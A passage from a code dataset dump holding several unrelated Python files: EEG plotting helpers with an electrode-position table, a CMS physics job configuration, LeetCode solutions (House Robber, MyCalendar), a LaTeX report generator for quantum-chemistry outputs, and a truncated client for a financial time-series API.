True).\n    channel : int, optional\n        This can be used to plot only a single channel. 'channel' has to be the\n        index of the desired channel in data.axes[-1] (default: None)\n    shareaxis : matplotlib.axes.Axes, optional\n        An axes to share x- and y-axis with the new axes (default: None).\n\n    Returns:\n    --------\n    matplotlib.axes.Axes\n    \"\"\"\n    fig = plt.gcf()\n\n    if shareaxis is None:\n        ax = fig.add_axes(position)\n    else:\n        ax = axes.Axes(fig, position, sharex=shareaxis, sharey=shareaxis)\n        fig.add_axes(ax)\n\n    # epoch is -1 when there are no epochs\n    if epoch == -1:\n        if channel is None:\n            ax.plot(data.axes[0], data.data)\n        else:\n            ax.plot(data.axes[0], data.data[:, channel])\n    else:\n        if channel is None:\n            ax.plot(data.axes[len(data.axes) - 2], data.data[epoch])\n        else:\n            ax.plot(data.axes[len(data.axes) - 2], data.data[epoch, channel])\n\n    # plotting of highlights\n    if highlights is not None:\n        set_highlights(highlights, hcolors=hcolors, set_axes=[ax])\n\n    # labeling of axes\n    if labels:\n        set_labels(data.units[0], \"$\\mu$V\", draw=False, set_axes=[ax])\n\n    # labeling of channels\n    if legend:\n        if channel is None:\n            ax.legend(data.axes[len(data.axes) - 1])\n        else:\n            ax.legend([data.axes[len(data.axes) - 1][channel]])\n\n    ax.grid(True)\n    return ax\n\n\ndef _subplot_r_square(data, position):\n    \"\"\"\n    Creates a new axes with colored r-sqaure values.\n\n    Parameters:\n    -----------\n    data : [float]\n        A list of floats that will be evenly distributed as colored tiles.\n    position : Rectangle\n        The rectangle (x, y, width, height) where the axes will be created.\n\n    Returns:\n    --------\n    matplotlib.axes.Axes\n    \"\"\"\n    fig = plt.gcf()\n    ax = fig.add_axes(position)\n    data = np.tile(data, (1, 1))\n    ax.imshow(data, aspect='auto', interpolation='none')\n    ax.get_xaxis().set_visible(False)\n    ax.get_yaxis().set_visible(False)\n    return ax\n\n\ndef _subplot_scale(xvalue, yvalue, position):\n    \"\"\"\n    Creates a new axes with a simple scale.\n\n    Parameters:\n    -----------\n    xvalue : String\n        The text to be presented beneath the x-axis.\n    yvalue : String\n        The text to be presented next to the y-axis.\n    position : Rectangle\n        The rectangle (x, y, width, height) where the axes will be created.\n\n    Returns:\n    --------\n    matplotlib.axes.Axes\n    \"\"\"\n    fig = plt.gcf()\n    ax = fig.add_axes(position)\n    for item in [fig, ax]:\n        item.patch.set_visible(False)\n    ax.axis('off')\n    ax.add_patch(Rectangle((1, 1), 3, .2, color='black'))\n    ax.add_patch(Rectangle((1, 1), .1, 2, color='black'))\n    plt.text(1.5, 2, yvalue)\n    plt.text(1.5, .25, xvalue)\n    ax.set_ylim([0, 4])\n    ax.set_xlim([0, 5])\n    return ax\n\n# ############# HELPER FUNCTIONS #########################################\n\n\ndef _transform_rect(rect, template):\n    \"\"\"\n    Calculates the position of a relative notated rectangle within another\n    rectangle.\n\n    Parameters:\n    -----------\n    rect : Rectangle\n        The container rectangle to contain the other reactangle.\n    template : Rectangle\n        the rectangle to be contained in the other rectangle.\n    \"\"\"\n    assert len(rect) == len(template) == 4, \"Wrong inputs : [x, y, width, height]\"\n    x = rect[0] + (template[0] * rect[2])\n    y = rect[1] + (template[1] * rect[3])\n    w = rect[2] * template[2]\n    h = rect[3] * template[3]\n    return [x, y, w, h]\n\n\ndef _get_system():\n    \"\"\"\n    Returns a dictionary of all channels.\n\n    The channels are accessable by name and contain their x and y position on\n    the scalp.\n\n    Returns:\n    --------\n    {channel : (xposition, yposition)}\n    \"\"\"\n    system = {\n        'Fpz': (0.0, 4.0),\n        'Fp1': (-4.0, 3.5),\n        'AFp1': (-1.5, 3.5),\n        'AFp2': (1.5, 3.5),\n        'Fp2': (4.0, 3.5),\n        'AF7': (-4.0, 3.0),\n        'AF5': (-3.0, 3.0),\n        'AF3': (-2.0, 3.0),\n        'AFz': (0.0, 3.0),\n        'AF4': (2.0, 3.0),\n        'AF6': (3.0, 3.0),\n        'AF8': (4.0, 3.0),\n        'FAF5': (-2.5, 2.5),\n        'FAF1': (-0.65, 2.5),\n        'FAF2': (0.65, 2.5),\n        'FAF6': (2.5, 2.5),\n        'F9': (-5.0, 2.0),\n        'F7': (-4.0, 2.0),\n        'F5': (-3.0, 2.0),\n        'F3': (-2.0, 2.0),\n        'F1': (-1.0, 2.0),\n        'Fz': (0.0, 2.0),\n        'F2': (1.0, 2.0),\n        'F4': (2.0, 2.0),\n        'F6': (3.0, 2.0),\n        'F8': (4.0, 2.0),\n        'F10': (5.0, 2.0),\n        'FFC9': (-4.5, 1.5),\n        'FFC7': (-3.5, 1.5),\n        'FFC5': (-2.5, 1.5),\n        'FFC3': (-1.5, 1.5),\n        'FFC1': (-0.5, 1.5),\n        'FFC2': (0.5, 1.5),\n        'FFC4': (1.5, 1.5),\n        'FFC6': (2.5, 1.5),\n        'FFC8': (3.5, 1.5),\n        'FFC10': (4.5, 1.5),\n        'FT9': (-5.0, 1.0),\n        'FT7': (-4.0, 1.0),\n        'FC5': (-3.0, 1.0),\n        'FC3': (-2.0, 1.0),\n        'FC1': (-1.0, 1.0),\n        'FCz': (0.0, 1.0),\n        'FC2': (1.0, 1.0),\n        'FC4': (2.0, 1.0),\n        'FC6': (3.0, 1.0),\n        'FT8': (4.0, 1.0),\n        'FT10': (5.0, 1.0),\n        'CFC9': (-4.5, 0.5),\n        'CFC7': (-3.5, 0.5),\n        'CFC5': (-2.5, 0.5),\n        'CFC3': (-1.5, 0.5),\n        'CFC1': (-0.5, 0.5),\n        'CFC2': (0.5, 0.5),\n        'CFC4': (1.5, 0.5),\n        'CFC6': (2.5, 0.5),\n        'CFC8': (3.5, 0.5),\n        'CFC10': (4.5, 0.5),\n        'T9': (-5.0, 0.0),\n        'T7': (-4.0, 0.0),\n        'C5': (-3.0, 0.0),\n        'C3': (-2.0, 0.0),\n        'C1': (-1.0, 0.0),\n        'Cz': (0.0, 0.0),\n        'C2': (1.0, 0.0),\n        'C4': (2.0, 0.0),\n        'C6': (3.0, 0.0),\n        'T8': (4.0, 0.0),\n        'T10': (5.0, 0.0),\n        'A1': (-5.0, -0.5),\n        'CCP7': (-3.5, -0.5),\n        'CCP5': (-2.5, -0.5),\n        'CCP3': (-1.5, -0.5),\n        'CCP1': (-0.5, -0.5),\n        'CCP2': (0.5, -0.5),\n        'CCP4': (1.5, -0.5),\n        'CCP6': (2.5, -0.5),\n        'CCP8': (3.5, -0.5),\n        'A2': (5.0, -0.5),\n        'TP9': (-5.0, -1.0),\n        'TP7': (-4.0, -1.0),\n        'CP5': (-3.0, -1.0),\n        'CP3': (-2.0, -1.0),\n        'CP1': (-1.0, -1.0),\n        'CPz': (0.0, -1.0),\n        'CP2': (1.0, -1.0),\n        'CP4': (2.0, -1.0),\n        'CP6': (3.0, -1.0),\n        'TP8': (4.0, -1.0),\n        'TP10': (5.0, -1.0),\n        'PCP9': (-4.5, -1.5),\n        'PCP7': (-3.5, -1.5),\n        'PCP5': (-2.5, -1.5),\n        'PCP3': (-1.5, -1.5),\n        'PCP1': (-0.5, -1.5),\n        'PCP2': (0.5, -1.5),\n        'PCP4': (1.5, -1.5),\n        'PCP6': (2.5, -1.5),\n        'PCP8': (3.5, -1.5),\n        'PCP10': (4.5, -1.5),\n        'P9': (-5.0, -2.0),\n        'P7': (-4.0, -2.0),\n        'P5': (-3.0, -2.0),\n        'P3': (-2.0, -2.0),\n        'P1': (-1.0, -2.0),\n        'Pz': (0.0, -2.0),\n        'P2': (1.0, -2.0),\n        'P4': (2.0, -2.0),\n        'P6': (3.0, -2.0),\n        'P8': (4.0, -2.0),\n        'P10': (5.0, -2.0),\n        'PPO7': (-4.5, -2.5),\n        'PPO5': (-3.0, -2.5),\n        'PPO3': (-2.0, -2.5),\n        'PPO1': (-0.65, -2.5),\n        'PPO2': (0.65, -2.5),\n        'PPO4': (2.0, -2.5),\n        'PPO6': (3.0, -2.5),\n        'PPO8': (4.5, -2.5),\n        'PO9': (-5.5, -2.6),\n        'PO7': (-4.0, -3),\n        'PO5': (-3.0, -3),\n        'PO3': (-2.0, -3),\n        'PO1': (-1.0, -3),\n        'POz': (0.0, -3),\n        'PO2': (1.0, -3),\n        'PO4': (2.0, -3),\n        'PO6': (3.0, -3),\n        'PO8': (4.0, -3),\n        'PO10': (5.5, -2.6),\n        'OPO1': (-1.5, -3.5),\n        'OPO2': (1.5, -3.5),\n        'O9': (-6.5, -3.5),\n        'O1': (-4.0, -3.5),\n        'O2': (4.0, -3.5),\n        'O10': (6.5, -3.5),\n        'Oz': (0.0, -4.0),\n        'OI1': (1.5, -4.5),\n        'OI2': (-1.5, -4.5),\n        'I1': (1.0, -5),\n        'Iz': (0.0, -5),\n        'I2': (-1, -5)}\n    return system\n","sub_path":"wyrm/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":40488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"402371917","text":"import FWCore.ParameterSet.Config as cms\n\nfrom Configuration.AlCa.GlobalTag import GlobalTag\n\nprocess = cms.Process(\"EenTest\")\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = cms.untracked.int32( 1000 )\n\nprocess.load('Configuration/EventContent/EventContent_cff')\nprocess.load(\"Configuration.StandardSequences.Services_cff\")\nprocess.load('Configuration.Geometry.GeometryRecoDB_cff')\nprocess.load(\"Configuration.StandardSequences.MagneticField_cff\")\nprocess.load(\"Configuration.StandardSequences.GeometryRecoDB_cff\")\n\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nprocess.GlobalTag = GlobalTag(process.GlobalTag, 'auto:run2_mc'   , '')\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(15) )\n\nreadFiles = cms.untracked.vstring()\nsecFiles = cms.untracked.vstring() \n\nreadFiles.extend([\n    # This is an AODSIM example in 80X\n    # 'file:/nfs-5/users/rclsa/RegressionTraining/TreeMaker/example/SingleElectron_Run2016B_PromptReco_v2.root',\n    'file:/nfs-5/users/rclsa/RegressionTraining/TreeMaker/example/DYToEE_NNPDF30_13TeV_powheg_pythia8.root'    \n    # 'file:/afs/cern.ch/work/r/rcoelhol/public/ExampleAODs/SingleElectron_Run2016B_PromptReco_v2.root',\n    # 'file:/afs/cern.ch/work/r/rcoelhol/public/ExampleAODs/DYToEE_NNPDF30_13TeV_powheg_pythia8.root',\n    # 'file:/afs/cern.ch/work/t/tklijnsm/EGM/AODexamples/DoubleElectron_AODSIM_example.root',\n    # 'file:/afs/cern.ch/work/t/tklijnsm/EGM/AODexamples/DoublePhoton_AODSIM_example.root',\n\n    ])\nsecFiles.extend([\n    ])\n\nprocess.source = cms.Source(\n    \"PoolSource\",\n    fileNames = readFiles,\n    secondaryFileNames = secFiles\n    )\n\n\n########################################\n# Define the analyzer\n########################################\n\nprocess.een_analyzer = cms.EDAnalyzer(\n    'SimpleNtuplizer',\n    vertices            = cms.InputTag(\"offlinePrimaryVertices\"),\n    electrons           = cms.InputTag(\"gedGsfElectrons\"),\n    photons             = cms.InputTag(\"gedPhotons\"),\n    rho                 = cms.InputTag(\"fixedGridRhoFastjetAll\"),\n    genparticles        = cms.InputTag(\"genParticles\"),\n    PUInfoInputTag      = cms.InputTag(\"addPileupInfo\"),\n    genEvtInfoInputTag  = cms.InputTag(\"generator\"),\n        \n    # caloclusters        = cms.InputTag(\"caloclusters\"),\n    # Saturation\n    ecalrechitsEB       = cms.InputTag(\"reducedEcalRecHitsEB\"),\n    ecalrechitsEE       = cms.InputTag(\"reducedEcalRecHitsEE\"),\n\n    # T&P\n    electronTightIdMap  = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-tight\"),\n    HLTTag              = cms.InputTag(\"TriggerResults\",\"\",\"HLT\"),\n    HLTObjTag           = cms.InputTag(\"hltTriggerSummaryAOD\",\"\",\"HLT\"),\n    ElecTrig            = cms.untracked.vstring(\"HLT_Ele27_eta2p1_WPLoose_Gsf_v*\"),\n    ElecFilt            = cms.untracked.vstring(\"hltEle27erWPLooseGsfTrackIsoFilter\"),\n    \n    # isData              = cms.untracked.bool(True)\n    isData              = cms.untracked.bool(False)\n\n    )\n\n\n########################################\n# Electron Identification\n########################################\n\nfrom PhysicsTools.SelectorUtils.tools.vid_id_tools import *\nfrom PhysicsTools.SelectorUtils.centralIDRegistry import central_id_registry\nprocess.load(\"RecoEgamma.ElectronIdentification.egmGsfElectronIDs_cfi\")\n\nprocess.egmGsfElectronIDs.physicsObjectSrc = cms.InputTag('gedGsfElectrons','','RECO')\nsetupAllVIDIdsInModule(process,'RecoEgamma.ElectronIdentification.Identification.cutBasedElectronID_Spring15_25ns_V1_cff',setupVIDElectronSelection)        \nprocess.egmGsfElectronIDSequence = cms.Sequence(process.egmGsfElectronIDs)\n\n\n# Trigger    \nprocess.TFileService = cms.Service(\n    \"TFileService\",\n    fileName = cms.string('output.root')\n    )\n    \nprocess.p = cms.Path(process.egmGsfElectronIDSequence * process.een_analyzer)\n","sub_path":"SimpleNtuplizer/cfgs/DY_pset.py","file_name":"DY_pset.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"277652988","text":"class Solution:\n    def rob(self, nums: 'List[int]') -> 'int':\n        if nums:\n            if len(nums) == 1:\n                return max(nums)\n            else:\n\n                maxValueArr = [0 for i in range(len(nums))]\n                maxValueArr[-1] = nums[-1]\n                maxValueArr[-2] = max(nums[-1], nums[-2])\n\n                for i in range(len(nums) -3, -1, -1):\n                    maxValueArr[i] = nums[i] + max(maxValueArr[i + 2:])\n\n                return max(maxValueArr)\n        else:\n            return 0\n","sub_path":"LeetCode/House Robber.py","file_name":"House Robber.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"38571094","text":"import os, sys\nimport collections\nsys.path.append('/home/snelliott/Packages/qgrep/qgrep')\nfrom cfour import *\n\ndef write_preamble():\n  \"\"\" Write the preamble with all packages and commands declared. \"\"\"\n\n  return_str = '''\\\\documentclass[10pt]{extarticle}\n   \n\\\\usepackage[margin=1in]{geometry}\n\\\\usepackage{multicol}\n\\\\usepackage{tikz}\n\\\\usepackage{fixltx2e}\n\\\\usepackage{mhchem}\n\\\\usepackage{tabto}\n\n\\\\newcommand{\\\\tsub}{\\\\textsubscript}\n\\\\newcommand{\\\\tsup}{\\\\textsuperscript}\n \n\\\\begin{document}\n\n%%% Title Page %%% \n\n\\\\title{\\\\textbf{Formyl peroxy radical \\\\\\\\ [0.3 in]\n           - Supplementary Information -}}\n\\\\date{}\n\\\\maketitle\n\n\\\\begin{center}\n\n\\\\noindent Sarah N. Elliott \\\\\\\\\nCenter for Computational Chemistry \\\\\\\\\nAthens, GA, USA 30602 \\\\\\\\ [0.2 in]\n\n\\\\noindent Justin M. Turney \\\\\\\\\nCenter for Computational Chemistry \\\\\\\\\nAthens, GA, USA 30602 \\\\\\\\ [0.2 in]\n\n\\\\noindent Henry F. Schaefer III \\\\\\\\\nCenter for Computational Chemistry \\\\\\\\\nAthens, GA, USA 30602\n\n\\\\end{center}\n\n\\\\newpage\n\n\n%%% Table-of-Contents Page %%%\n\n\\\\tableofcontents\n\n\\\\newpage\n\n\\\\section{Stationary Point Data}\n%%% Begin Pages of Molecular Data\n\\\\subsection{\\\\~X \\\\tsup{2}A$''$ \\\\emph{trans} formylperoxy radical \\ce{HC(O)OO.}}\n'''\n\n  return return_str\n\ndef get_names():\n  \"\"\" \"\"\"\n  \n  names = collections.OrderedDict()             \n                                                                                                   \n  with open('names.txt', 'r') as namefile:                                                         \n    for line in namefile:\n      if line.strip() != '':\n        tmp = line.strip().split(',')\n        names[tmp[0].strip()] = [tmp[1].strip(),tmp[2]]\n\n  return names\n\n\ndef write_section_head(names, spec):\n  \"\"\" Write the name and chemical formula of compound. \"\"\"\n\n  section_title = names[spec][0] + names[spec][1]                                                  \n  return_str = '\\n\\\\subsubsection{'+ section_title +'}'  \n\n  return return_str \n \n\ndef grab_image():\n\n  os.chdir('./Image')\n\n  imagename = os.listdir('.')[0]\n  imagepath = os.getcwd()+'/'+imagename\n  \n  return_str = '\\n\\n\\\\includegraphics[width=0.25\\\\textwidth]{'+imagepath+'}'  \n\n  os.chdir('../')\n\n  return return_str\n\n\ndef grab_molec_props():\n  \"\"\" Get the charge and mult. \"\"\"\n  \n  os.chdir('./Opt')\n   \n  with open('output.dat', 'r') as optfile:\n    optlines = optfile.readlines()\n\n  mult = get_multiplicity(optlines)\n  charge = get_charge(optlines)\n\n  os.chdir('../')\n\n  return None\n\n\n\ndef write_method(spec):\n  \"\"\" Write level of theory and convergence criterion. \"\"\"\n\n  os.chdir('./Opt')\n   \n  with open('output.dat', 'r') as optfile:\n    optlines = optfile.readlines()\n  \n  theory, basis, reference = get_theo_method(optlines)\n  charge = get_charge(optlines)\n  mult = get_multiplicity(optlines)\n  scf_conv, cc_conv, geo_conv, lineq_conv, int_thresh = get_conv_params(optlines)  \n  s2 = get_diagnostics(optlines)\n\n  method = '''\\n\\n\\\\noindent Program: \\tCFOUR 2.0          \\\\tab{{SCF Convergence:\\t{6}}}                  \n              \\n\\\\noindent Theory:\\t{0}/{1}                \\\\tab{{CC Convergence:\\t{7}}}                          \n              \\n\\\\noindent Charge/Multiplicity:\\t{3}/{4}   \\\\tab{{Geometry Convergence:\\t{8}}}\n              \\n\\\\noindent Reference:\\t{2}                 \\\\tab{{Lineq Convergence:\\t{9}}}  \n              \\n\\\\noindent Frozen Core:\\tON                \\\\tab{{Integral Thresh:\\t{10}}} \\\\\\\\ [0.1 in] \n         '''.format(theory, basis, reference, charge, mult, s2, scf_conv, cc_conv, geo_conv, lineq_conv, int_thresh)\n\n  return_str = method\n\n  os.chdir('../')\n\n  return return_str\n\n\ndef grab_opt():\n  \"\"\" Go into the Opt directory to get the optimized coordinates. \"\"\"\n\n  os.chdir('./Opt')\n   \n  with open('output.dat', 'r') as optfile:\n    optlines = optfile.readlines()\n  \n  geom = get_geom(optlines)\n\n  return_str = '''\\n\\n\\\\noindent Equilibrium Geometry (\\\\AA): \n                  \\n\\\\begin{verbatim}'''\n              \n  for i in range(len(geom)):\n    tmp = geom[i].strip().split('\\t')\n    return_str += '\\n {0:3s}{1:< 11.6f}{2:< 11.6f}{3:< 11.6f}'.format(tmp[0],float(tmp[1]),float(tmp[2]),float(tmp[3]))\n\n  return_str += '\\n\\\\end{verbatim}'\n\n  os.chdir('../')\n  \n  return return_str \n\n   \ndef grab_harmonic(key):\n  \"\"\" Go into the Opt directory to get the optimized coordinates. \"\"\"\n\n  os.chdir('./Harmonic')\n  return_str = '''\\n\\n\\\\noindent Harmonic Frequencies (cm-1): \n                    \\n\\\\begin{verbatim}'''\n  \n  with open('output.dat', 'r') as harmfile:\n    harmlines = harmfile.readlines()\n  harm = get_ir(harmlines)\n\n  num = 3\n  if len(harm) == 1:\n    rn = 1\n  else:\n    rn = int(len(harm) / num)\n \n  split_harm=[harm[x:x+rn] for x in range(0, len(harm), rn)]\n\n  if len(harm) == 1:\n    return_str += '\\n {0:4}'.format(split_harm[0][0])\n  elif len(harm) == 2:\n    return_str += '\\n {0:<4}  {1:<4}'.format(split_harm[0][0], split_harm[0][1])\n  elif len(harm) > 2:  \n    for i in range(len(split_harm[2])):\n      return_str += '\\n {0:<4}  {1:<4}  {2:<4}'.format(split_harm[0][i],split_harm[1][i],split_harm[2][i])\n      if len(split_harm[0]) == len(split_harm[1]) != len(split_harm[2]):\n        return_str += '\\n {0:<4}  {1:<4}'.format(split_harm[0][-1],split_harm[1][-1])\n    if len(split_harm[0]) != len(split_harm[1]) != len(split_harm[2]):\n      return_str += '\\n {0:<4}'.format(split_harm[0][-1])\n    \n\n  return_str += '\\n\\\\end{verbatim}\\n'\n\n  os.chdir('../')\n  \n  return return_str \n\n\n#\n#\n#def get_corrections():\n#  \"\"\" Obtain the core, relativistic, and dboc corrections. \"\"\"\n#\n#\n#\n#\n","sub_path":"make_latex.py","file_name":"make_latex.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"61317349","text":"\"\"\"\n实现一个 MyCalendar 类来存放你的日程安排。如果要添加的时间内没有其他安排，则可以存储这个新的日程安排。\n\nMyCalendar 有一个 book(int start, int end)方法。它意味着在 start 到 end 时间内增加一个日程安排，注意，这里的时间是半开区间，即 [start, end), 实数 x 的范围为，  start <= x < end。\n\n当两个日程安排有一些时间上的交叉时（例如两个日程安排都在同一时间内），就会产生重复预订。\n\n每次调用 MyCalendar.book方法时，如果可以将日程安排成功添加到日历中而不会导致重复预订，返回 true。否则，返回 false 并且不要将该日程安排添加到日历中。\n\n请按照以下步骤调用 MyCalendar 类: MyCalendar cal = new MyCalendar(); MyCalendar.book(start, end)\n\n示例 1:\n\nMyCalendar();\nMyCalendar.book(10, 20); // returns true\nMyCalendar.book(15, 25); // returns false\nMyCalendar.book(20, 30); // returns true\n解释:\n第一个日程安排可以添加到日历中.  第二个日程安排不能添加到日历中，因为时间 15 已经被第一个日程安排预定了。\n第三个日程安排可以添加到日历中，因为第一个日程安排并不包含时间 20 。\n说明:\n\n每个测试用例，调用 MyCalendar.book 函数最多不超过 100次。\n调用函数 MyCalendar.book(start, end)时， start 和 end 的取值范围为 [0, 10^9]。\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/my-calendar-i\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\n实现方法：二分查找\n使用二叉树实现二分查找，每个节点表示一个interval\n\"\"\"\n\nclass Node:\n    def __init__(self, start, end):\n        self.start = start\n        self.end = end\n        self.left, self.right = None, None\n\n    def insert(self, start, end):\n        if start >= self.end:\n            if self.right is None:\n                self.right = Node(start, end)\n                return True\n            else:\n                return self.right.insert(start, end)\n        if end <= self.start:\n            if self.left is None:\n                self.left = Node(start, end)\n                return True\n            else:\n                return self.left.insert(start, end)\n        return False\n\n\nclass MyCalendar:\n    def __init__(self):\n        self.root = None\n\n    def book(self, start: int, end: int) -> bool:\n        if not self.root:\n            self.root = Node(start, end)\n            return True\n        else:\n            return self.root.insert(start, end)\n\n# Your MyCalendar object will be instantiated and called as such:\n# obj = MyCalendar()\n# param_1 = obj.book(start,end)\n","sub_path":"729.py","file_name":"729.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"440807505","text":"from typing import Dict\nfrom functools import lru_cache\n\nfrom io import StringIO\nimport json\n\nimport requests\nimport pandas as pd\nimport numpy as np\n\nfrom .settings import default_ticker\n\n\ndef search(search_string: str) -> json:\n    string_response = API.search(search_string)\n    return json.loads(string_response)\n\n\n@lru_cache()\ndef get_namespaces():\n    string_response = API.get_namespaces()\n    return json.loads(string_response)\n\n\n@lru_cache()\ndef get_assets_namespaces():\n    string_response = API.get_assets_namespaces()\n    return json.loads(string_response)\n\n\n@lru_cache()\ndef get_macro_namespaces():\n    string_response = API.get_macro_namespaces()\n    return json.loads(string_response)\n\n\n@lru_cache()\ndef no_dividends_namespaces():\n    string_response = API.get_no_dividends_namespaces()\n    return json.loads(string_response)\n\n\nclass QueryData:\n    \"\"\"\n    Set of methods to select a source and get_ts the data.\n    \"\"\"\n\n    @staticmethod\n    def get_symbol_info(symbol: str) -> Dict[str, str]:\n        json_input = API.get_symbol_info(symbol)\n        return json.loads(json_input)\n\n    @staticmethod\n    def csv_to_series(csv_input: str, period: str) -> pd.Series:\n        ts = pd.read_csv(StringIO(csv_input),\n                         delimiter=',',\n                         index_col=0,\n                         parse_dates=[0],\n                         dtype={1: np.float64},\n                         engine='python')\n        if not ts.empty:\n            ts.index = ts.index.to_period(period.upper())\n            ts = ts.squeeze('columns')\n        return ts\n\n    @staticmethod\n    def get_macro_ts(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01') -> pd.Series:\n        \"\"\"\n        Requests API for Macroeconomic indicators time series (monthly data).\n        - Inflation time series\n        - Bank rates time series\n        \"\"\"\n        csv_input = API.get_macro(symbol=symbol, first_date=first_date, last_date=last_date)\n        return QueryData.csv_to_series(csv_input, period='M')\n\n    @staticmethod\n    def get_ror(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01', period='M') -> pd.Series:\n        \"\"\"\n        Requests API for rate of return time series.\n        \"\"\"\n        csv_input = API.get_ror(symbol=symbol, first_date=first_date, last_date=last_date, period=period)\n        return QueryData.csv_to_series(csv_input, period)\n\n    @staticmethod\n    def get_nav(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01', period='M') -> pd.Series:\n        \"\"\"\n        NAV time series for funds (works for PIF namespace only).\n        \"\"\"\n        csv_input = API.get_nav(symbol=symbol, first_date=first_date, last_date=last_date, period=period)\n        return QueryData.csv_to_series(csv_input, period=period)\n\n    @staticmethod\n    def get_close(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01', period='M') -> pd.Series:\n        \"\"\"\n        Gets 'close' time series for a ticker.\n        \"\"\"\n        csv_input = API.get_close(symbol=symbol, first_date=first_date, last_date=last_date, period=period)\n        return QueryData.csv_to_series(csv_input, period)\n\n    @staticmethod\n    def get_adj_close(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01', period='M') -> pd.Series:\n        \"\"\"\n        Gets 'adjusted close' time series for a ticker.\n        \"\"\"\n        csv_input = API.get_adjusted_close(symbol=symbol, first_date=first_date, last_date=last_date, period=period)\n        return QueryData.csv_to_series(csv_input, period)\n\n    @staticmethod\n    def get_dividends(symbol: str, first_date: str = '1913-01-01', last_date: str = '2100-01-01',) -> pd.Series:\n        \"\"\"\n        Dividends time series daily data (dividend payment day should be considered).\n        \"\"\"\n        if symbol.split('.', 1)[-1] not in no_dividends_namespaces():\n            csv_input = API.get_dividends(symbol, first_date=first_date, last_date=last_date)\n            ts = QueryData.csv_to_series(csv_input, period='D')\n        else:\n            # make empty time series when no dividends\n            ts = pd.Series(dtype=float)\n            ts.rename(symbol, inplace=True)\n        return ts\n\n    @staticmethod\n    def get_live_price(symbol: str) -> float:\n        price = API.get_live_price(symbol)\n        return float(price)\n\n\nclass API:\n    \"\"\"\n    Set of methods to data from API.\n    TODO: introduce 'from' & 'to' for dates.\n    \"\"\"\n\n    api_url = 'http://185.63.191.70:5000'\n\n    endpoint_ror = '/api/ts/ror/'\n    endpoint_symbol = '/api/symbol/'\n    endpoint_search = '/api/search/'\n    endpoint_live_price = '/api/live_price/'\n    endpoint_adjusted_close = '/api/ts/adjusted_close/'\n    endpoint_close = '/api/ts/close/'\n    endpoint_dividends = '/api/ts/dividends/'\n    endpoint_nav = '/api/ts/nav/'\n    endpoint_macro = '/api/ts/macro/'\n    # namespaces endpoints\n    endpoint_namespaces = '/api/namespaces/'\n    endpoint_assets_namespaces = '/api/assets_namespaces/'\n    endpoint_macro_namespaces = '/api/macro_namespaces/'\n    endpoint_no_dividends_namespaces = '/api/no_dividends_namespaces/'\n\n    @classmethod\n    def connect(cls,\n                endpoint: str = endpoint_ror,\n                symbol: str = default_ticker,\n                first_date: str = '1900-01-01',\n                last_date: str = '2100-01-01',\n                period: str = 'd',\n                ) -> str:\n        session = requests.session()\n        request_url = cls.api_url + endpoint + symbol\n        params = {'first_date': first_date, 'last_date': last_date, 'period': period}\n        r = session.get(request_url, params=params, verify=False)\n        if r.status_code != requests.codes.ok:\n            raise Exception(f'Error fetching data for {symbol}:', r.status_code, r.reason, request_url)\n        return r.text\n\n    @classmethod\n    def get_ror(cls,\n                symbol: str = default_ticker,\n                first_date: str = '1900-01-01',\n                last_date: str = '2100-01-01',\n                period: str = 'm'):\n        return cls.connect(endpoint=cls.endpoint_ror,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date,\n                           period=period)\n\n    @classmethod\n    def get_adjusted_close(cls,\n                           symbol: str = default_ticker,\n                           first_date: str = '1900-01-01',\n                           last_date: str = '2100-01-01',\n                           period: str = 'm'):\n        return cls.connect(endpoint=cls.endpoint_adjusted_close,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date,\n                           period=period)\n\n    @classmethod\n    def get_close(cls,\n                  symbol: str = default_ticker,\n                  first_date: str = '1900-01-01',\n                  last_date: str = '2100-01-01',\n                  period: str = 'm'):\n        return cls.connect(endpoint=cls.endpoint_close,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date,\n                           period=period)\n\n    @classmethod\n    def get_dividends(cls,\n                      symbol: str = default_ticker,\n                      first_date: str = '1900-01-01',\n                      last_date: str = '2100-01-01'):\n        return cls.connect(endpoint=cls.endpoint_dividends,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date)\n\n    @classmethod\n    def get_nav(cls,\n                symbol: str = default_ticker,\n                first_date: str = '1900-01-01',\n                last_date: str = '2100-01-01',\n                period: str = 'm'):\n        return cls.connect(endpoint=cls.endpoint_nav,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date,\n                           period=period)\n\n    @classmethod\n    def get_macro(cls,\n                  symbol: str = default_ticker,\n                  first_date: str = '1900-01-01',\n                  last_date: str = '2100-01-01'):\n        \"\"\"\n        Get macro time series (monthly).\n        \"\"\"\n        return cls.connect(endpoint=cls.endpoint_macro,\n                           symbol=symbol,\n                           first_date=first_date,\n                           last_date=last_date,\n                           period='m')\n\n    @classmethod\n    def get_namespaces(cls):\n        return cls.connect(endpoint=cls.endpoint_namespaces, symbol='')\n\n    @classmethod\n    def get_assets_namespaces(cls):\n        return 